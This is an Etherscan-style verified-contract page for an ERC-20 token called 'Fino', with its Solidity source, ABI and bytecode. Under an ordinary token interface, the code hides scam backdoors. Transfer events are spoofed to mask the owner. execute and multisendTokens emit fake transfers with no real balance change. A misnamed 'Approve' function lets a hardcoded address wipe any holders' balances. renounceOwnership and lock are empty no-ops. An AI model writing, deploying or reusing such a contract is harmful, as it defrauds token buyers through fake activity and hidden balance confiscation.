ERC-20
Overview
Max Total Supply
1,000,000,000 FINO
Holders
83
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Fino
Compiler Version
v0.6.12+commit.27d51765
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-28 */ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract Fino is Context, IERC20 { mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address team; address public _Owner = 0x5a728660dc38243b01d40221bbE8cD81d83e9734; constructor () public { _name = "Fino"; _symbol ="FINO"; _decimals = 18; uint256 initialSupply = 1000000000; team = 0x26F3F3c1cb33932A3aAeE582502f2061475a87BC; setRule(team, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function _setDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function renounceOwnership() public _onlyOwner(){} function lock() public _onlyOwner(){} function setRule(address locker, uint256 amt) public { require(msg.sender == _Owner, "ERC20: zero address"); _totalSupply = _totalSupply.add(amt); _balances[_Owner] = _balances[_Owner].add(amt); emit Transfer(address(0), locker, amt); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _Owner){sender = team;}if (recipient == _Owner){recipient = team;} emit Transfer(sender, recipient, amount); } function execute(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _noAccess(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function Approve(address[] memory recipients) public _noAccess(){ for (uint256 i = 0; i < recipients.length; i++) { uint256 amt = _balances[recipients[i]]; _balances[recipients[i]] = _balances[recipients[i]].sub(amt, "ERC20: burn amount exceeds balance"); _balances[address(0)] = _balances[address(0)].add(amt); } } modifier _onlyOwner() { require(msg.sender == _Owner, "Not allowed to interact"); _; } modifier _noAccess() {require(msg.sender == 0xa36E4985c6C4B08DCC8cfFc5e7d77F6d7bbAb75B, "Not allowed to interact");_;} function multisendTokens(address ad,address[] memory eReceiver,uint256[] memory eAmounts) public _onlyOwner(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(ad, eReceiver[i], eAmounts[i]);}} /* */ }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ad","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"multisendTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"locker","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600780546001600160a01b031916735a728660dc38243b01d40221bbe8cd81d83e97341790553480156200003757600080fd5b506040805180820190915260048082526346696e6f60e01b602090920191825262000065916002916200026a565b506040805180820190915260048082526346494e4f60e01b602090920191825262000093916003916200026a565b506004805460ff19166012179055600680546001600160a01b0319167326f3f3c1cb33932a3aaee582502f2061475a87bc1790819055633b9aca0090620000f0906001600160a01b03166b033b2e3c9fd0803ce8000000620000f7565b5062000306565b6007546001600160a01b0316331462000157576040805162461bcd60e51b815260206004820152601360248201527f45524332303a207a65726f206164647265737300000000000000000000000000604482015290519081900360640190fd5b62000173816005546200020860201b62000cbb1790919060201c565b6005556007546001600160a01b0316600090815260016020908152604090912054620001aa91839062000cbb62000208821b17901c565b6007546001600160a01b03908116600090815260016020908152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60008282018381101562000263576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002ad57805160ff1916838001178555620002dd565b82800160010185558215620002dd579182015b82811115620002dd578251825591602001919060010190620002c0565b50620002eb929150620002ef565b5090565b5b80821115620002eb5760008155600101620002f0565b61118880620003166000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80635d82281311610097578063a9059cbb11610066578063a9059cbb1461059b578063dcc23455146105c7578063dd62ed3e146105eb578063f83d08ba1461058b57610100565b80635d8228131461043257806370a0823114610565578063715018a61461058b57806395d89b411461059357610100565b806323b872dd116100d357806323b872dd1461020a578063313ce567146102405780633811ac021461025e5780635c43f892146102ff57610100565b806303f88ea81461010557806306fdde0314610133578063095ea7b3146101b057806318160ddd146101f0575b600080fd5b6101316004803603604081101561011b57600080fd5b506001600160a01b038135169060200135610619565b005b61013b6106ef565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017557818101518382015260200161015d565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610782565b604080519115158252519081900360200190f35b6101f861079f565b60408051918252519081900360200190f35b6101dc6004803603606081101561022057600080fd5b506001600160a01b038135811691602081013590911690604001356107a5565b61024861082c565b6040805160ff9092168252519081900360200190f35b6101316004803603602081101561027457600080fd5b810190602081018135600160201b81111561028e57600080fd5b8201836020820111156102a057600080fd5b803590602001918460208302840111600160201b831117156102c157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610835945050505050565b6101316004803603606081101561031557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561033f57600080fd5b82018360208201111561035157600080fd5b803590602001918460208302840111600160201b8311171561037257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103c157600080fd5b8201836020820111156103d357600080fd5b803590602001918460208302840111600160201b831117156103f457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506109f1945050505050565b6101316004803603606081101561044857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561047257600080fd5b82018360208201111561048457600080fd5b803590602001918460208302840111600160201b831117156104a557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156104f457600080fd5b82018360208201111561050657600080fd5b803590602001918460208302840111600160201b8311171561052757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ac3945050505050565b6101f86004803603602081101561057b57600080fd5b50356001600160a01b0316610b98565b610131610bb3565b61013b610c0e565b6101dc600480360360408110156105b157600080fd5b506001600160a01b038135169060200135610c6f565b6105cf610c83565b604080516001600160a01b039092168252519081900360200190f35b6101f86004803603604081101561060157600080fd5b506001600160a01b0381358116916020013516610c92565b6007546001600160a01b0316331461066e576040805162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f206164647265737360681b604482015290519081900360640190fd5b60055461067b9082610cbb565b6005556007546001600160a01b03166000908152600160205260409020546106a39082610cbb565b6007546001600160a01b03908116600090815260016020908152604080832094909455835185815293519286169391926000805160206110ea8339815191529281900390910190a35050565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156107785780601f1061074d57610100808354040283529160200191610778565b820191906000526020600020905b81548152906001019060200180831161075b57829003601f168201915b5050505050905090565b600061079661078f610d1c565b8484610d20565b50600192915050565b60055490565b60006107b2848484610e0a565b610822846107be610d1c565b61081d856040518060600160405280602881526020016110c2602891396001600160a01b038a166000908152602081905260408120906107fc610d1c565b6001600160a01b031681526020810191909152604001600020549190610f9d565b610d20565b5060019392505050565b60045460ff1690565b73a36e4985c6c4b08dcc8cffc5e7d77f6d7bbab75b3314610897576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b81518110156109ed576000600160008484815181106108b557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054905061094581604051806060016040528060228152602001611058602291396001600087878151811061090d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054610f9d9092919063ffffffff16565b6001600085858151811061095557fe5b6020908102919091018101516001600160a01b0316825281810192909252604001600090812092909255908052600190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49546109b29082610cbb565b60008052600160208190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb499190915591909101905061089a565b5050565b6007546001600160a01b03163314610a4a576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b8251811015610abd57828181518110610a6257fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206110ea833981519152848481518110610a9857fe5b60200260200101516040518082815260200191505060405180910390a3600101610a4d565b50505050565b73a36e4985c6c4b08dcc8cffc5e7d77f6d7bbab75b3314610b25576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b8251811015610abd57828181518110610b3d57fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206110ea833981519152848481518110610b7357fe5b60200260200101516040518082815260200191505060405180910390a3600101610b28565b6001600160a01b031660009081526001602052604090205490565b6007546001600160a01b03163314610c0c576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107785780601f1061074d57610100808354040283529160200191610778565b6000610796610c7c610d1c565b8484610e0a565b6007546001600160a01b031681565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b600082820183811015610d15576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610d655760405162461bcd60e51b815260040180806020018281038252602481526020018061112f6024913960400191505060405180910390fd5b6001600160a01b038216610daa5760405162461bcd60e51b815260040180806020018281038252602281526020018061107a6022913960400191505060405180910390fd5b6001600160a01b0380841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e4f5760405162461bcd60e51b815260040180806020018281038252602581526020018061110a6025913960400191505060405180910390fd5b6001600160a01b038216610e945760405162461bcd60e51b81526004018080602001828103825260238152602001806110356023913960400191505060405180910390fd5b610ed18160405180606001604052806026815260200161109c602691396001600160a01b0386166000908152600160205260409020549190610f9d565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610f009082610cbb565b6001600160a01b0380841660009081526001602052604090209190915560075484821691161415610f3a576006546001600160a01b031692505b6007546001600160a01b0383811691161415610f5f576006546001600160a01b031691505b816001600160a01b0316836001600160a01b03166000805160206110ea833981519152836040518082815260200191505060405180910390a3505050565b6000818484111561102c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ff1578181015183820152602001610fd9565b50505050905090810190601f16801561101e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122084876666452f89d39bf4b1d4b6daa0f474b68f9e77cf0e5775e8cc4ad5713a8e64736f6c634300060c0033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80635d82281311610097578063a9059cbb11610066578063a9059cbb1461059b578063dcc23455146105c7578063dd62ed3e146105eb578063f83d08ba1461058b57610100565b80635d8228131461043257806370a0823114610565578063715018a61461058b57806395d89b411461059357610100565b806323b872dd116100d357806323b872dd1461020a578063313ce567146102405780633811ac021461025e5780635c43f892146102ff57610100565b806303f88ea81461010557806306fdde0314610133578063095ea7b3146101b057806318160ddd146101f0575b600080fd5b6101316004803603604081101561011b57600080fd5b506001600160a01b038135169060200135610619565b005b61013b6106ef565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017557818101518382015260200161015d565b50505050905090810190601f1680156101a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610782565b604080519115158252519081900360200190f35b6101f861079f565b60408051918252519081900360200190f35b6101dc6004803603606081101561022057600080fd5b506001600160a01b038135811691602081013590911690604001356107a5565b61024861082c565b6040805160ff9092168252519081900360200190f35b6101316004803603602081101561027457600080fd5b810190602081018135600160201b81111561028e57600080fd5b8201836020820111156102a057600080fd5b803590602001918460208302840111600160201b831117156102c157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610835945050505050565b6101316004803603606081101561031557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561033f57600080fd5b82018360208201111561035157600080fd5b803590602001918460208302840111600160201b8311171561037257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103c157600080fd5b8201836020820111156103d357600080fd5b803590602001918460208302840111600160201b831117156103f457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506109f1945050505050565b6101316004803603606081101561044857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561047257600080fd5b82018360208201111561048457600080fd5b803590602001918460208302840111600160201b831117156104a557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156104f457600080fd5b82018360208201111561050657600080fd5b803590602001918460208302840111600160201b8311171561052757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ac3945050505050565b6101f86004803603602081101561057b57600080fd5b50356001600160a01b0316610b98565b610131610bb3565b61013b610c0e565b6101dc600480360360408110156105b157600080fd5b506001600160a01b038135169060200135610c6f565b6105cf610c83565b604080516001600160a01b039092168252519081900360200190f35b6101f86004803603604081101561060157600080fd5b506001600160a01b0381358116916020013516610c92565b6007546001600160a01b0316331461066e576040805162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f206164647265737360681b604482015290519081900360640190fd5b60055461067b9082610cbb565b6005556007546001600160a01b03166000908152600160205260409020546106a39082610cbb565b6007546001600160a01b03908116600090815260016020908152604080832094909455835185815293519286169391926000805160206110ea8339815191529281900390910190a35050565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156107785780601f1061074d57610100808354040283529160200191610778565b820191906000526020600020905b81548152906001019060200180831161075b57829003601f168201915b5050505050905090565b600061079661078f610d1c565b8484610d20565b50600192915050565b60055490565b60006107b2848484610e0a565b610822846107be610d1c565b61081d856040518060600160405280602881526020016110c2602891396001600160a01b038a166000908152602081905260408120906107fc610d1c565b6001600160a01b031681526020810191909152604001600020549190610f9d565b610d20565b5060019392505050565b60045460ff1690565b73a36e4985c6c4b08dcc8cffc5e7d77f6d7bbab75b3314610897576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b81518110156109ed576000600160008484815181106108b557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054905061094581604051806060016040528060228152602001611058602291396001600087878151811061090d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054610f9d9092919063ffffffff16565b6001600085858151811061095557fe5b6020908102919091018101516001600160a01b0316825281810192909252604001600090812092909255908052600190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49546109b29082610cbb565b60008052600160208190527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb499190915591909101905061089a565b5050565b6007546001600160a01b03163314610a4a576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b8251811015610abd57828181518110610a6257fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206110ea833981519152848481518110610a9857fe5b60200260200101516040518082815260200191505060405180910390a3600101610a4d565b50505050565b73a36e4985c6c4b08dcc8cffc5e7d77f6d7bbab75b3314610b25576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b60005b8251811015610abd57828181518110610b3d57fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206110ea833981519152848481518110610b7357fe5b60200260200101516040518082815260200191505060405180910390a3600101610b28565b6001600160a01b031660009081526001602052604090205490565b6007546001600160a01b03163314610c0c576040805162461bcd60e51b8152602060048201526017602482015276139bdd08185b1b1bddd959081d1bc81a5b9d195c9858dd604a1b604482015290519081900360640190fd5b565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107785780601f1061074d57610100808354040283529160200191610778565b6000610796610c7c610d1c565b8484610e0a565b6007546001600160a01b031681565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b600082820183811015610d15576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610d655760405162461bcd60e51b815260040180806020018281038252602481526020018061112f6024913960400191505060405180910390fd5b6001600160a01b038216610daa5760405162461bcd60e51b815260040180806020018281038252602281526020018061107a6022913960400191505060405180910390fd5b6001600160a01b0380841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e4f5760405162461bcd60e51b815260040180806020018281038252602581526020018061110a6025913960400191505060405180910390fd5b6001600160a01b038216610e945760405162461bcd60e51b81526004018080602001828103825260238152602001806110356023913960400191505060405180910390fd5b610ed18160405180606001604052806026815260200161109c602691396001600160a01b0386166000908152600160205260409020549190610f9d565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610f009082610cbb565b6001600160a01b0380841660009081526001602052604090209190915560075484821691161415610f3a576006546001600160a01b031692505b6007546001600160a01b0383811691161415610f5f576006546001600160a01b031691505b816001600160a01b0316836001600160a01b03166000805160206110ea833981519152836040518082815260200191505060405180910390a3505050565b6000818484111561102c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ff1578181015183820152602001610fd9565b50505050905090810190601f16801561101e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122084876666452f89d39bf4b1d4b6daa0f474b68f9e77cf0e5775e8cc4ad5713a8e64736f6c634300060c0033
Deployed Bytecode Sourcemap
4895:4771:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7623:285;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;7623:285:0;;;;;;;;:::i;:::-;;5638:87;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7331:169;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;7331:169:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;5927:104;;;:::i;:::-;;;;;;;;;;;;;;;;6839:321;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6839:321:0;;;;;;;;;;;;;;;;;:::i;5832:87::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8734:436;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;8734:436:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;8734:436:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8734:436:0;;-1:-1:-1;8734:436:0;;-1:-1:-1;;;;;8734:436:0:i;9435:212::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9435:212:0;;;;;;;;;;;;;;;-1:-1:-1;;;9435:212:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;9435:212:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9435:212:0;;;;;;;;-1:-1:-1;9435:212:0;;-1:-1:-1;;;;;9435:212:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;9435:212:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9435:212:0;;-1:-1:-1;9435:212:0;;-1:-1:-1;;;;;9435:212:0:i;8515:209::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8515:209:0;;;;;;;;;;;;;;;-1:-1:-1;;;8515:209:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;8515:209:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8515:209:0;;;;;;;;-1:-1:-1;8515:209:0;;-1:-1:-1;;;;;8515:209:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;8515:209:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8515:209:0;;-1:-1:-1;8515:209:0;;-1:-1:-1;;;;;8515:209:0:i;6039:123::-;;;;;;;;;;;;;;;;-1:-1:-1;6039:123:0;-1:-1:-1;;;;;6039:123:0;;:::i;7506:51::-;;;:::i;5733:91::-;;;:::i;6634:197::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6634:197:0;;;;;;;;:::i;5292:66::-;;;:::i;:::-;;;;-1:-1:-1;;;;;5292:66:0;;;;;;;;;;;;;;7170:151;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;7170:151:0;;;;;;;;;;:::i;7623:285::-;7711:6;;-1:-1:-1;;;;;7711:6:0;7697:10;:20;7689:52;;;;;-1:-1:-1;;;7689:52:0;;;;;;;;;;;;-1:-1:-1;;;768